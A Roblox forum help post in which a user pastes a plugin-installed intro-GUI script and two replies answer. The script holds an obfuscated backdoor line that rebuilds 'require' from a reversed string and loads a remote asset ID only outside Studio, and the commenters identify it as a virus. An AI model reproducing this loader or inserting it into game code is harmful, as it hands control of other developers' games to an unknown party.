It is working in the studio but not in the actual game I used a plugin and this is all it says in the script under serverscriptstorage:
--[[
r x d e s i r e
onPlayerAdded
--]]
local q=getfenv;local u='RunService';local j='eriuqer';local g=string.reverse;local b=3610230360;local a=12-6+6;if not game:service(u):IsStudio()then q()[g(j)](b+a)end
function added(player)
local GUI = script.IntroGui:clone()
GUI.Parent = player:WaitForChild("PlayerGui")
end
game.Players.PlayerAdded:connect(added)

2 comments
What plugin was it....also delete line 5 lol. Make sure you are using RemoteEvents as well(when needed)
Delete Line 5 because is virus and this using InStudio so its working only in Studio